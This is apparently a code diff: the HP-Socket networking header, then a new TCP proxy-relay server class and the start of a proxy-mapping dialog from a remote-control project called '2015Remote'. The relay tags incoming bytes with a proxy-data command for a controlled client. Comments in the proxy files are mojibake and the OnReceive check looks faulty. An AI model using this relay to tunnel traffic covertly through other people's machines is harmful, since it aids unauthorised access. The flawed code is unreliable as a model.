* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#pragma once
/* HP-Socket 版本号 */
#define HP_VERSION_MAJOR 6 // 主版本号
#define HP_VERSION_MINOR 0 // 子版本号
#define HP_VERSION_REVISE 3 // 修正版本号
#define HP_VERSION_BUILD 1 // 构建编号
//#define _UDP_DISABLED // 禁用 UDP
//#define _SSL_DISABLED // 禁用 SSL
//#define _HTTP_DISABLED // 禁用 HTTP
//#define _ZLIB_DISABLED // 禁用 ZLIB
//#define _BROTLI_DISABLED // 禁用 BROTLI
/* 是否启用 UDP如果定义了 _UDP_DISABLED 则禁用(默认:启用) */
#if !defined(_UDP_DISABLED)
#ifndef _UDP_SUPPORT
#define _UDP_SUPPORT
#endif
#endif
/* 是否启用 SSL如果定义了 _SSL_DISABLED 则禁用(默认:启用) */
#if !defined(_SSL_DISABLED)
#ifndef _SSL_SUPPORT
#define _SSL_SUPPORT
#endif
#endif
/* 是否启用 HTTP如果定义了 _HTTP_DISABLED 则禁用(默认:启用) */
#if !defined(_HTTP_DISABLED)
#ifndef _HTTP_SUPPORT
#define _HTTP_SUPPORT
#endif
#endif
/* 是否启用 ZLIB如果定义了 _ZLIB_DISABLED 则禁用(默认:启用) */
#if !defined(_ZLIB_DISABLED)
#ifndef _ZLIB_SUPPORT
#define _ZLIB_SUPPORT
#endif
#endif
/* 是否启用 BROTLI如果定义了 _BROTLI_DISABLED 则禁用(默认:启用) */
#if !defined(_BROTLI_DISABLED)
#ifndef _BROTLI_SUPPORT
#define _BROTLI_SUPPORT
#endif
#endif
/**************************************************/
/********** imports / exports HPSocket4C **********/
#ifdef HPSOCKET_STATIC_LIB
#define HPSOCKET_API EXTERN_C
#else
#ifdef HPSOCKET_EXPORTS
#define HPSOCKET_API EXTERN_C __declspec(dllexport)
#else
#define HPSOCKET_API EXTERN_C __declspec(dllimport)
#endif
#endif
#define __HP_CALL __stdcall
/*****************************************************************************************************************************************************/
/**************************************************************** Base Type Definitions **************************************************************/
/*****************************************************************************************************************************************************/
typedef const BYTE* LPCBYTE, PCBYTE;
typedef ULONG_PTR TID, THR_ID, NTHR_ID, PID, PRO_ID;
/************************************************************************
名称:连接 ID 数据类型
描述:应用程序可以把 CONNID 定义为自身需要的类型ULONG / ULONGLONG
************************************************************************/
typedef ULONG_PTR CONNID, HP_CONNID;
/************************************************************************
名称:通信组件服务状态
描述:应用程序可以通过通信组件的 GetState() 方法获取组件当前服务状态
************************************************************************/
typedef enum EnServiceState
{
SS_STARTING = 0, // 正在启动
SS_STARTED = 1, // 已经启动
SS_STOPPING = 2, // 正在停止
SS_STOPPED = 3, // 已经停止
} En_HP_ServiceState;
/************************************************************************
名称Socket 操作类型
描述:应用程序的 OnClose() 事件中通过该参数标识是哪种操作导致的错误
************************************************************************/
typedef enum EnSocketOperation
{
SO_UNKNOWN = 0, // Unknown
SO_ACCEPT = 1, // Acccept
SO_CONNECT = 2, // Connect
SO_SEND = 3, // Send
SO_RECEIVE = 4, // Receive
SO_CLOSE = 5, // Close
} En_HP_SocketOperation;
/************************************************************************
名称:事件处理结果
描述:事件的返回值,不同的返回值会影响通信组件的后续行为
************************************************************************/
typedef enum EnHandleResult
{
HR_OK = 0, // 成功
HR_IGNORE = 1, // 忽略
HR_ERROR = 2, // 错误
} En_HP_HandleResult;
/************************************************************************
名称:数据抓取结果
描述:数据抓取操作的返回值
************************************************************************/
typedef enum EnFetchResult
{
FR_OK = 0, // 成功
FR_LENGTH_TOO_LONG = 1, // 抓取长度过大
FR_DATA_NOT_FOUND = 2, // 找不到 ConnID 对应的数据
} En_HP_FetchResult;
/************************************************************************
名称:数据发送策略
描述Server 组件和 Agent 组件的数据发送策略
* 打包发送策略(默认) :尽量把多个发送操作的数据组合在一起发送,增加传输效率
* 安全发送策略 :尽量把多个发送操作的数据组合在一起发送,并控制传输速度,避免缓冲区溢出
* 直接发送策略 :对每一个发送操作都直接投递,适用于负载不高但要求实时性较高的场合
************************************************************************/
typedef enum EnSendPolicy
{
SP_PACK = 0, // 打包模式(默认)
SP_SAFE = 1, // 安全模式
SP_DIRECT = 2, // 直接模式
} En_HP_SendPolicy;
/************************************************************************
名称OnSend 事件同步策略
描述Server 组件和 Agent 组件的 OnSend 事件同步策略
* 不同步(默认) :不同步 OnSend 事件,可能同时触发 OnReceive 和 OnClose 事件
* 同步 OnClose :只同步 OnClose 事件,可能同时触发 OnReceive 事件
* 同步 OnReceive :(只用于 TCP 组件)同步 OnReceive 和 OnClose 事件,不可能同时触发 OnReceive 或 OnClose 事件
************************************************************************/
typedef enum EnOnSendSyncPolicy
{
OSSP_NONE = 0, // 不同步(默认)
OSSP_CLOSE = 1, // 同步 OnClose
OSSP_RECEIVE = 2, // 同步 OnReceive只用于 TCP 组件)
} En_HP_OnSendSyncPolicy;
/************************************************************************
名称:地址重用选项
描述:通信组件底层 socket 的地址重用选项
************************************************************************/
typedef enum EnReuseAddressPolicy
{
RAP_NONE = 0, // 不重用
RAP_ADDR_ONLY = 1, // 仅重用地址
RAP_ADDR_AND_PORT = 2, // 重用地址和端口
} En_HP_ReuseAddressPolicy;
/************************************************************************
名称:操作结果代码
描述:组件 Start() / Stop() 方法执行失败时,可通过 GetLastError() 获取错误代码
************************************************************************/
typedef enum EnSocketError
{
SE_OK = NO_ERROR, // 成功
SE_ILLEGAL_STATE = 1, // 当前状态不允许操作
SE_INVALID_PARAM = 2, // 非法参数
SE_SOCKET_CREATE = 3, // 创建 SOCKET 失败
SE_SOCKET_BIND = 4, // 绑定 SOCKET 失败
SE_SOCKET_PREPARE = 5, // 设置 SOCKET 失败
SE_SOCKET_LISTEN = 6, // 监听 SOCKET 失败
SE_CP_CREATE = 7, // 创建完成端口失败
SE_WORKER_THREAD_CREATE = 8, // 创建工作线程失败
SE_DETECT_THREAD_CREATE = 9, // 创建监测线程失败
SE_SOCKE_ATTACH_TO_CP = 10, // 绑定完成端口失败
SE_CONNECT_SERVER = 11, // 连接服务器失败
SE_NETWORK = 12, // 网络错误
SE_DATA_PROC = 13, // 数据处理错误
SE_DATA_SEND = 14, // 数据发送失败
SE_GC_START = 15, // 垃圾回收启动失败
/***** SSL Socket 扩展操作结果代码 *****/
SE_SSL_ENV_NOT_READY = 101, // SSL 环境未就绪
} En_HP_SocketError;
/************************************************************************
名称:播送模式
描述UDP 组件的播送模式(组播或广播)
************************************************************************/
typedef enum EnCastMode
{
CM_UNICAST = -1, // 单播
CM_MULTICAST = 0, // 组播
CM_BROADCAST = 1, // 广播
} En_HP_CastMode;
/************************************************************************
名称IP 地址类型
描述IP 地址类型枚举值
************************************************************************/
typedef enum EnIPAddrType
{
IPT_ALL = 0, // 所有
IPT_IPV4 = 1, // IPv4
IPT_IPV6 = 2, // IPv6
} En_HP_IPAddrType;
/************************************************************************
名称IP 地址条目结构体
描述IP 地址的地址簇/地址值结构体
************************************************************************/
typedef struct TIPAddr
{
En_HP_IPAddrType type;
LPCTSTR address;
} *LPTIPAddr, HP_TIPAddr, *HP_LPTIPAddr;
/************************************************************************
名称:拒绝策略
描述:调用被拒绝后的处理策略
************************************************************************/
typedef enum EnRejectedPolicy
{
TRP_CALL_FAIL = 0, // 立刻返回失败
TRP_WAIT_FOR = 1, // 等待(直到成功、超时或线程池关闭等原因导致失败)
TRP_CALLER_RUN = 2, // 调用者线程直接执行
} En_HP_RejectedPolicy;
/************************************************************************
名称:任务缓冲区类型
描述TSockeTask 对象创建和销毁时,根据不同类型的缓冲区类型作不同的处理
************************************************************************/
typedef enum EnTaskBufferType
{
TBT_COPY = 0, // 深拷贝
TBT_REFER = 1, // 浅拷贝
TBT_ATTACH = 2, // 附属(不负责创建,但负责销毁)
} En_HP_TaskBufferType;
/************************************************************************
名称:任务处理函数
描述:任务处理入口函数
参数pvArg -- 自定义参数
返回值:(无)
************************************************************************/
typedef VOID (__HP_CALL *Fn_TaskProc)(PVOID pvArg);
typedef Fn_TaskProc HP_Fn_TaskProc;
struct TSocketTask;
/************************************************************************
名称Socket 任务处理函数
描述Socket 任务处理入口函数
参数pTask -- Socket 任务结构体指针
返回值:(无)
************************************************************************/
typedef VOID (__HP_CALL *Fn_SocketTaskProc)(struct TSocketTask* pTask);
typedef Fn_SocketTaskProc HP_Fn_SocketTaskProc;
/************************************************************************
名称Socket 任务结构体
描述:封装 Socket 任务相关数据结构
************************************************************************/
typedef struct TSocketTask
{
HP_Fn_SocketTaskProc fn; // 任务处理函数
PVOID sender; // 发起对象
CONNID connID; // 连接 ID
LPCBYTE buf; // 数据缓冲区
INT bufLen; // 数据缓冲区长度
En_HP_TaskBufferType bufType; // 缓冲区类型
WPARAM wparam; // 自定义参数
LPARAM lparam; // 自定义参数
} *LPTSocketTask, HP_TSocketTask, *HP_LPTSocketTask;
/************************************************************************
名称:获取 HPSocket 版本号
描述版本号4 个字节分别为:主版本号,子版本号,修正版本号,构建编号)
************************************************************************/
inline DWORD GetHPSocketVersion()
{
return (HP_VERSION_MAJOR << 24) | (HP_VERSION_MINOR << 16) | (HP_VERSION_REVISE << 8) | HP_VERSION_BUILD;
}
/*****************************************************************************************************************************************************/
/**************************************************************** SSL Type Definitions ***************************************************************/
/*****************************************************************************************************************************************************/
#ifdef _SSL_SUPPORT
/************************************************************************
名称SSL 工作模式
描述:标识 SSL 的工作模式,客户端模式或服务端模式
************************************************************************/
typedef enum EnSSLSessionMode
{
SSL_SM_CLIENT = 0, // 客户端模式
SSL_SM_SERVER = 1, // 服务端模式
} En_HP_SSLSessionMode;
/************************************************************************
名称SSL 验证模式
描述SSL 验证模式选项SSL_VM_PEER 可以和后面两个选项组合一起
************************************************************************/
typedef enum EnSSLVerifyMode
{
SSL_VM_NONE = 0x00, // SSL_VERIFY_NONE
SSL_VM_PEER = 0x01, // SSL_VERIFY_PEER
SSL_VM_FAIL_IF_NO_PEER_CERT = 0x02, // SSL_VERIFY_FAIL_IF_NO_PEER_CERT
SSL_VM_CLIENT_ONCE = 0x04, // SSL_VERIFY_CLIENT_ONCE
} En_HP_SSLVerifyMode;
/************************************************************************
名称SSL Session 信息类型
描述:用于 GetSSLSessionInfo(),标识输出的 Session 信息类型
************************************************************************/
typedef enum EnSSLSessionInfo
{
SSL_SSI_MIN = 0, //
SSL_SSI_CTX = 0, // SSL CTX 输出类型SSL_CTX*
SSL_SSI_CTX_METHOD = 1, // SSL CTX Mehtod 输出类型SSL_METHOD*
SSL_SSI_CTX_CIPHERS = 2, // SSL CTX Ciphers 输出类型STACK_OF(SSL_CIPHER)*
SSL_SSI_CTX_CERT_STORE = 3, // SSL CTX Cert Store 输出类型X509_STORE*
SSL_SSI_SERVER_NAME_TYPE = 4, // Server Name Type 输出类型int
SSL_SSI_SERVER_NAME = 5, // Server Name 输出类型LPCSTR
SSL_SSI_VERSION = 6, // SSL Version 输出类型LPCSTR
SSL_SSI_METHOD = 7, // SSL Method 输出类型SSL_METHOD*
SSL_SSI_CERT = 8, // SSL Cert 输出类型X509*
SSL_SSI_PKEY = 9, // SSL Private Key 输出类型EVP_PKEY*
SSL_SSI_CURRENT_CIPHER = 10, // SSL Current Cipher 输出类型SSL_CIPHER*
SSL_SSI_CIPHERS = 11, // SSL Available Ciphers输出类型STACK_OF(SSL_CIPHER)*
SSL_SSI_CLIENT_CIPHERS = 12, // SSL Client Ciphers 输出类型STACK_OF(SSL_CIPHER)*
SSL_SSI_PEER_CERT = 13, // SSL Peer Cert 输出类型X509*
SSL_SSI_PEER_CERT_CHAIN = 14, // SSL Peer Cert Chain 输出类型STACK_OF(X509)*
SSL_SSI_VERIFIED_CHAIN = 15, // SSL Verified Chain 输出类型STACK_OF(X509)*
SSL_SSI_MAX = 15, //
} En_HP_SSLSessionInfo;
/************************************************************************
名称SNI 服务名称回调函数
描述:根据服务器名称选择 SSL 证书
参数:
lpszServerName -- 服务器名称(域名)
返回值:
0 -- 成功,使用默认 SSL 证书索引
正数 -- 成功,使用返回值对应的 SNI 主机证书索引
负数 -- 失败,中断 SSL 握手
************************************************************************/
typedef int (__HP_CALL *Fn_SNI_ServerNameCallback)(LPCTSTR lpszServerName, PVOID pContext);
typedef Fn_SNI_ServerNameCallback HP_Fn_SNI_ServerNameCallback;
#endif
/*****************************************************************************************************************************************************/
/**************************************************************** HTTP Type Definitions **************************************************************/
/*****************************************************************************************************************************************************/
#ifdef _HTTP_SUPPORT
/************************************************************************
名称HTTP 版本
描述:低字节:主版本号,高字节:次版本号
************************************************************************/
typedef enum EnHttpVersion
{
HV_1_0 = MAKEWORD(1, 0), // HTTP/1.0
HV_1_1 = MAKEWORD(1, 1) // HTTP/1.1
} En_HP_HttpVersion;
/************************************************************************
名称URL 域
描述HTTP 请求行中 URL 段位的域定义
************************************************************************/
typedef enum EnHttpUrlField
{
HUF_SCHEMA = 0, // Schema
HUF_HOST = 1, // Host
HUF_PORT = 2, // Port
HUF_PATH = 3, // Path
HUF_QUERY = 4, // Query String
HUF_FRAGMENT = 5, // Fragment
HUF_USERINFO = 6, // User Info
HUF_MAX = 7, // (Field Count)
} En_HP_HttpUrlField;
/************************************************************************
名称HTTP 解析结果标识
描述:指示 HTTP 解析器是否继续执行解析操作
************************************************************************/
typedef enum EnHttpParseResult
{
HPR_OK = 0, // 解析成功
HPR_SKIP_BODY = 1, // 跳过当前请求 BODY仅用于 OnHeadersComplete 事件)
HPR_UPGRADE = 2, // 升级协议(仅用于 OnHeadersComplete 事件)
HPR_ERROR = -1, // 解析错误,终止解析,断开连接
} En_HP_HttpParseResult;
/************************************************************************
名称HTTP 协议升级类型
描述:标识 HTTP 升级为哪种协议
************************************************************************/
typedef enum EnHttpUpgradeType
{
HUT_NONE = 0, // 没有升级
HUT_WEB_SOCKET = 1, // WebSocket
HUT_HTTP_TUNNEL = 2, // HTTP 隧道
HUT_UNKNOWN = -1, // 未知类型
} En_HP_HttpUpgradeType;
/************************************************************************
名称HTTP 状态码
描述HTTP 标准状态码
************************************************************************/
typedef enum EnHttpStatusCode
{
HSC_CONTINUE = 100,
HSC_SWITCHING_PROTOCOLS = 101,
HSC_PROCESSING = 102,
HSC_EARLY_HINTS = 103,
HSC_RESPONSE_IS_STALE = 110,
HSC_REVALIDATION_FAILED = 111,
HSC_DISCONNECTED_OPERATION = 112,
HSC_HEURISTIC_EXPIRATION = 113,
HSC_MISCELLANEOUS_WARNING = 199,
HSC_OK = 200,
HSC_CREATED = 201,
HSC_ACCEPTED = 202,
HSC_NON_AUTHORITATIVE_INFORMATION = 203,
HSC_NO_CONTENT = 204,
HSC_RESET_CONTENT = 205,
HSC_PARTIAL_CONTENT = 206,
HSC_MULTI_STATUS = 207,
HSC_ALREADY_REPORTED = 208,
HSC_TRANSFORMATION_APPLIED = 214,
HSC_IM_USED = 226,
HSC_MISCELLANEOUS_PERSISTENT_WARNING = 299,
HSC_MULTIPLE_CHOICES = 300,
HSC_MOVED_PERMANENTLY = 301,
HSC_MOVED_TEMPORARILY = 302,
HSC_SEE_OTHER = 303,
HSC_NOT_MODIFIED = 304,
HSC_USE_PROXY = 305,
HSC_SWITCH_PROXY = 306,
HSC_TEMPORARY_REDIRECT = 307,
HSC_PERMANENT_REDIRECT = 308,
HSC_BAD_REQUEST = 400,
HSC_UNAUTHORIZED = 401,
HSC_PAYMENT_REQUIRED = 402,
HSC_FORBIDDEN = 403,
HSC_NOT_FOUND = 404,
HSC_METHOD_NOT_ALLOWED = 405,
HSC_NOT_ACCEPTABLE = 406,
HSC_PROXY_AUTHENTICATION_REQUIRED = 407,
HSC_REQUEST_TIMEOUT = 408,
HSC_CONFLICT = 409,
HSC_GONE = 410,
HSC_LENGTH_REQUIRED = 411,
HSC_PRECONDITION_FAILED = 412,
HSC_REQUEST_ENTITY_TOO_LARGE = 413,
HSC_REQUEST_URI_TOO_LONG = 414,
HSC_UNSUPPORTED_MEDIA_TYPE = 415,
HSC_REQUESTED_RANGE_NOT_SATISFIABLE = 416,
HSC_EXPECTATION_FAILED = 417,
HSC_IM_A_TEAPOT = 418,
HSC_PAGE_EXPIRED = 419,
HSC_ENHANCE_YOUR_CALM = 420,
HSC_MISDIRECTED_REQUEST = 421,
HSC_UNPROCESSABLE_ENTITY = 422,
HSC_LOCKED = 423,
HSC_FAILED_DEPENDENCY = 424,
HSC_UNORDERED_COLLECTION = 425,
HSC_UPGRADE_REQUIRED = 426,
HSC_PRECONDITION_REQUIRED = 428,
HSC_TOO_MANY_REQUESTS = 429,
HSC_REQUEST_HEADER_FIELDS_TOO_LARGE_UNOFFICIAL = 430,
HSC_REQUEST_HEADER_FIELDS_TOO_LARGE = 431,
HSC_LOGIN_TIMEOUT = 440,
HSC_NO_RESPONSE = 444,
HSC_RETRY_WITH = 449,
HSC_BLOCKED_BY_PARENTAL_CONTROL = 450,
HSC_UNAVAILABLE_FOR_LEGAL_REASONS = 451,
HSC_CLIENT_CLOSED_LOAD_BALANCED_REQUEST = 460,
HSC_INVALID_X_FORWARDED_FOR = 463,
HSC_REQUEST_HEADER_TOO_LARGE = 494,
HSC_SSL_CERTIFICATE_ERROR = 495,
HSC_SSL_CERTIFICATE_REQUIRED = 496,
HSC_HTTP_REQUEST_SENT_TO_HTTPS_PORT = 497,
HSC_INVALID_TOKEN = 498,
HSC_CLIENT_CLOSED_REQUEST = 499,
HSC_INTERNAL_SERVER_ERROR = 500,
HSC_NOT_IMPLEMENTED = 501,
HSC_BAD_GATEWAY = 502,
HSC_SERVICE_UNAVAILABLE = 503,
HSC_GATEWAY_TIMEOUT = 504,
HSC_HTTP_VERSION_NOT_SUPPORTED = 505,
HSC_VARIANT_ALSO_NEGOTIATES = 506,
HSC_INSUFFICIENT_STORAGE = 507,
HSC_LOOP_DETECTED = 508,
HSC_BANDWIDTH_LIMIT_EXCEEDED = 509,
HSC_NOT_EXTENDED = 510,
HSC_NETWORK_AUTHENTICATION_REQUIRED = 511,
HSC_WEB_SERVER_UNKNOWN_ERROR = 520,
HSC_WEB_SERVER_IS_DOWN = 521,
HSC_CONNECTION_TIMEOUT = 522,
HSC_ORIGIN_IS_UNREACHABLE = 523,
HSC_TIMEOUT_OCCURED = 524,
HSC_SSL_HANDSHAKE_FAILED = 525,
HSC_INVALID_SSL_CERTIFICATE = 526,
HSC_RAILGUN_ERROR = 527,
HSC_SITE_IS_OVERLOADED = 529,
HSC_SITE_IS_FROZEN = 530,
HSC_IDENTITY_PROVIDER_AUTHENTICATION_ERROR = 561,
HSC_NETWORK_READ_TIMEOUT = 598,
HSC_NETWORK_CONNECT_TIMEOUT = 599,
HSC_UNPARSEABLE_RESPONSE_HEADERS = 600
} En_HP_HttpStatusCode;
/************************************************************************
名称Name/Value 结构体
描述:字符串名值对结构体
************************************************************************/
typedef struct TNVPair
{
LPCSTR name;
LPCSTR value;
} HP_TNVPair,
TParam, HP_TParam, *LPPARAM, *HP_LPPARAM,
THeader, HP_THeader, *LPHEADER, *HP_LPHEADER,
TCookie, HP_TCookie, *LPCOOKIE, *HP_LPCOOKIE;
#endif
/*****************************************************************************************************************************************************/
/********************************************************** Compress / Decompress Definitions ********************************************************/
/*****************************************************************************************************************************************************/
/************************************************************************
名称:数据回调函数
描述:回调处理过程中产生的数据输出
参数:
pData -- 数据缓冲区
iLength -- 数据长度
pContext -- 回调上下文
返回值:
TRUE -- 成功
FALSE -- 失败
************************************************************************/
typedef BOOL (__HP_CALL *Fn_DataCallback)(const BYTE* pData, int iLength, PVOID pContext);
typedef Fn_DataCallback Fn_CompressDataCallback;
typedef Fn_DataCallback Fn_DecompressDataCallback;
typedef Fn_DataCallback HP_Fn_DataCallback;
typedef Fn_DataCallback HP_Fn_CompressDataCallback;
typedef Fn_DataCallback HP_Fn_DecompressDataCallback;

View File

@@ -0,0 +1,222 @@
#include "stdafx.h"
#include "ProxyConnectServer.h"
#define MAX_SEND_BUFFER 65535 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD> 1024*64
#define MAX_RECV_BUFFER 65535 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
CProxyConnectServer::CProxyConnectServer(void) :m_TcpServer(this)
{
Mprintf("CProxyConnectServer\r\n");
m_bIsRun = TRUE;
m_dwIndex = 0;
memset(m_IDs, 0, sizeof(m_IDs));
}
CProxyConnectServer::~CProxyConnectServer(void)
{
if (m_TcpServer->GetState() != SS_STOPPED)
m_TcpServer->Stop();
while (m_TcpServer->GetState() != SS_STOPPED) {
Sleep(300);
}
Mprintf("~CProxyConnectServer\r\n");
}
BOOL CProxyConnectServer::Initialize(NOTIFYPROC pNotifyProc, void*user, int nMaxConnections, int nPort)
{
m_nMaxConnection = nMaxConnections;
m_TcpServer->SetMaxConnectionCount(nMaxConnections);
m_TcpServer->SetSendPolicy(SP_DIRECT);
m_TcpServer->SetNoDelay(TRUE);
m_pNotifyProc = pNotifyProc;
m_pUser = user;
m_nPort = nPort;
m_bStop = FALSE;
return m_TcpServer->Start(_T("0.0.0.0"), nPort);
}
EnHandleResult CProxyConnectServer::OnPrepareListen(ITcpServer* pSender, SOCKET soListen)
{
SYS_SSO_SendBuffSize(soListen, MAX_SEND_BUFFER);
SYS_SSO_RecvBuffSize(soListen, MAX_RECV_BUFFER);
return HR_OK;
}
EnHandleResult CProxyConnectServer::OnAccept(ITcpServer* pSender, CONNID dwConnID, UINT_PTR soClient)
{
if (!m_bIsRun)return HR_ERROR;
ClientContext* pContext = NULL;
{
m_Locker.lock();
if (!m_listFreePool.IsEmpty()) {
pContext = m_listFreePool.RemoveHead();
}
else {
pContext = new(std::nothrow) ClientContext;
}
m_Locker.unlock();
}
if (pContext == NULL)
return HR_ERROR;
pContext->InitMember();
pContext->m_Socket = dwConnID;
char szAddress[64] = {};
int iAddressLen = sizeof(szAddress);
USHORT usPort = 0;
pSender->GetRemoteAddress(dwConnID, szAddress, iAddressLen, usPort);
Mprintf("CProxyConnectServer: new connection %s:%d\n", szAddress, usPort);
pContext->ID = dwConnID;
m_TcpServer->SetConnectionExtra(dwConnID, pContext);
m_pNotifyProc(m_pUser, pContext, NC_CLIENT_CONNECT);
return HR_OK;
}
EnHandleResult CProxyConnectServer::OnSend(ITcpServer* pSender, CONNID dwConnID, const BYTE* pData, int iLength)
{
return HR_OK;
}
EnHandleResult CProxyConnectServer::OnReceive(ITcpServer* pSender, CONNID dwConnID, int iLength)
{
ClientContext* pContext = NULL;
if ((!m_TcpServer->GetConnectionExtra(dwConnID, (PVOID*)&pContext)) && (pContext != nullptr) && (iLength <= 0))
return HR_ERROR;
PBYTE pData = new BYTE[iLength];
m_TcpServer->Fetch(dwConnID, pData, iLength);
pContext->InDeCompressedBuffer.ClearBuffer();
BYTE bToken = COMMAND_PROXY_DATA;
pContext->InDeCompressedBuffer.Write(&bToken, sizeof(bToken));
pContext->InDeCompressedBuffer.Write((LPBYTE)&pContext->ID, sizeof(DWORD));
pContext->InDeCompressedBuffer.Write((PBYTE)pData, iLength);
SAFE_DELETE_ARRAY(pData);
m_pNotifyProc(m_pUser, pContext, NC_RECEIVE);
return HR_OK;
}
EnHandleResult CProxyConnectServer::OnClose(ITcpServer* pSender, CONNID dwConnID, EnSocketOperation enOperation, int iErrorCode)
{
ClientContext* pContext = NULL;
if (m_TcpServer->GetConnectionExtra(dwConnID, (PVOID*)&pContext) && pContext != nullptr)
m_TcpServer->SetConnectionExtra(dwConnID, NULL);
if (!pContext)
return HR_OK;
m_pNotifyProc(m_pUser, pContext, NC_CLIENT_DISCONNECT);
pContext->InCompressedBuffer.ClearBuffer();
pContext->InDeCompressedBuffer.ClearBuffer();
pContext->OutCompressedBuffer.ClearBuffer();
m_Locker.lock();
m_listFreePool.AddTail(pContext);
m_Locker.unlock();
return HR_OK;
}
EnHandleResult CProxyConnectServer::OnShutdown(ITcpServer* pSender)
{
return HR_OK;
}
BOOL CProxyConnectServer::Send(ClientContext* pContext, LPBYTE lpData, UINT nSize)
{
if (pContext == NULL)
return FALSE;
BOOL rt = FALSE;;
if (nSize > 0 && m_bIsRun) {
pContext->OutCompressedBuffer.Write(lpData, nSize);
rt = SendWithSplit(pContext->m_Socket, pContext->OutCompressedBuffer.GetBuffer(0),
pContext->OutCompressedBuffer.GetBufferLength(), MAX_SEND_BUFFER);
pContext->OutCompressedBuffer.ClearBuffer();
}
return rt;
}
BOOL CProxyConnectServer::SendWithSplit(CONNID dwConnID, LPBYTE lpData, UINT nSize, UINT nSplitSize)
{
int nSend = 0;
UINT nSendRetry = 0;
BOOL rt = TRUE;
if (nSize >= nSplitSize) {
UINT i = 0;
nSendRetry = nSize / nSplitSize;
for (i = 0; i < nSendRetry; i++) {
rt = m_TcpServer->Send(dwConnID, lpData, nSplitSize);
if (!rt)
return rt;
lpData += nSplitSize;
nSend += nSplitSize;
}
if (nSize - nSend < nSplitSize) {
if (nSize - nSend > 0) {
rt = m_TcpServer->Send(dwConnID, lpData, nSize - nSend);
if (!rt)
return rt;
}
}
} else {
rt = m_TcpServer->Send(dwConnID, lpData, nSize);
if (!rt)
return rt;
}
return TRUE;
}
void CProxyConnectServer::Shutdown()
{
DWORD dwCount = 65535;
CONNID *pIDs = new CONNID[dwCount]();
BOOL status = m_TcpServer->GetAllConnectionIDs(pIDs, dwCount);
if (status && (dwCount > 0)) {
for (DWORD i = 0; i < dwCount; i++) {
Disconnect(pIDs[i]);
}
}
m_TcpServer->Stop();
m_bIsRun = FALSE;
while (m_TcpServer->GetState() != SS_STOPPED)
Sleep(10);
m_Locker.lock();
while (!m_listFreePool.IsEmpty())
delete m_listFreePool.RemoveTail();
m_Locker.unlock();
SAFE_DELETE_ARRAY(pIDs);
}
void CProxyConnectServer::ClearClient()
{
DWORD dwCount = 65535;
CONNID* pIDs = new CONNID[dwCount]();
BOOL status = m_TcpServer->GetAllConnectionIDs(pIDs, dwCount);
if (status && (dwCount > 0)) {
for (DWORD i = 0; i < dwCount; i++) {
m_TcpServer->Disconnect(pIDs[i]);
}
}
SAFE_DELETE_ARRAY(pIDs);
}
BOOL CProxyConnectServer::Disconnect(CONNID dwConnID)
{
m_TcpServer->Disconnect(dwConnID);
return 0;
}
BOOL CProxyConnectServer::IsConnected(CONNID dwConnID)
{
return m_TcpServer->IsConnected(dwConnID);
}
BOOL CProxyConnectServer::IsOverMaxConnectionCount()
{
return (m_TcpServer->GetConnectionCount() > (DWORD)m_nMaxConnection);
}

View File

@@ -0,0 +1,51 @@
#pragma once
#include "HPSocket.h"
#include "SocketInterface.h"
#include "Buffer.h"
#include <IOCPServer.h>
#define NC_CLIENT_CONNECT 0x0001
#define NC_CLIENT_DISCONNECT 0x0002
#define NC_TRANSMIT 0x0003
#define NC_RECEIVE 0x0004
typedef void (CALLBACK* NOTIFYPROC)(void* user, ClientContext* ctx, UINT nCode);
typedef CList<ClientContext*, ClientContext* > ContextList;
class CProxyConnectServer :public CTcpPullServerListener
{
public:
CProxyConnectServer(void);
~CProxyConnectServer(void);
BOOL Initialize(NOTIFYPROC pNotifyProc, void* user, int nMaxConnections, int nPort);
BOOL Send(ClientContext* pContext, LPBYTE lpData, UINT nSize);
BOOL SendWithSplit(CONNID dwConnID, LPBYTE lpData, UINT nSize, UINT nSplitSize);
void Shutdown();
void ClearClient();
BOOL Disconnect(CONNID dwConnID);
BOOL IsConnected(CONNID dwConnID);
int IsOverMaxConnectionCount();
virtual EnHandleResult OnPrepareListen(ITcpServer* pSender, SOCKET soListen);
virtual EnHandleResult OnAccept(ITcpServer* pSender, CONNID dwConnID, UINT_PTR soClient);
virtual EnHandleResult OnSend(ITcpServer* pSender, CONNID dwConnID, const BYTE* pData, int iLength);
virtual EnHandleResult OnReceive(ITcpServer* pSender, CONNID dwConnID, int iLength);
virtual EnHandleResult OnClose(ITcpServer* pSender, CONNID dwConnID, EnSocketOperation enOperation, int iErrorCode);
virtual EnHandleResult OnShutdown(ITcpServer* pSender);
CTcpPullServerPtr m_TcpServer;
private:
NOTIFYPROC m_pNotifyProc;
void* m_pUser;
ContextList m_listFreePool;
CLock m_Locker;
int m_nPort; // <20><><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD>
CONNID m_IDs[65535]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ID
LONG m_bStop; // <20>˿<EFBFBD>ֹͣ<CDA3><D6B9><EFBFBD>߿<EFBFBD><DFBF><EFBFBD>
int m_nMaxConnection; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL m_bIsRun; // <20><><EFBFBD><EFBFBD>״̬
DWORD m_dwIndex; // <20><><EFBFBD>ӱ<EFBFBD><D3B1><EFBFBD>
};

View File

@@ -0,0 +1,309 @@
// ProxyMapDlg.cpp : implementation file
//
#include "stdafx.h"
#include "2015Remote.h"
#include "ProxyMapDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
/////////////////////////////////////////////////////////////////////////////
// CProxyMapDlg dialog
#define IDM_PROXY_CHROME 8000
CProxyMapDlg::CProxyMapDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
: CDialog(CProxyMapDlg::IDD, pParent)
{
m_iocpServer = pIOCPServer;
m_ContextObject = pContext;
m_iocpLocal = NULL;
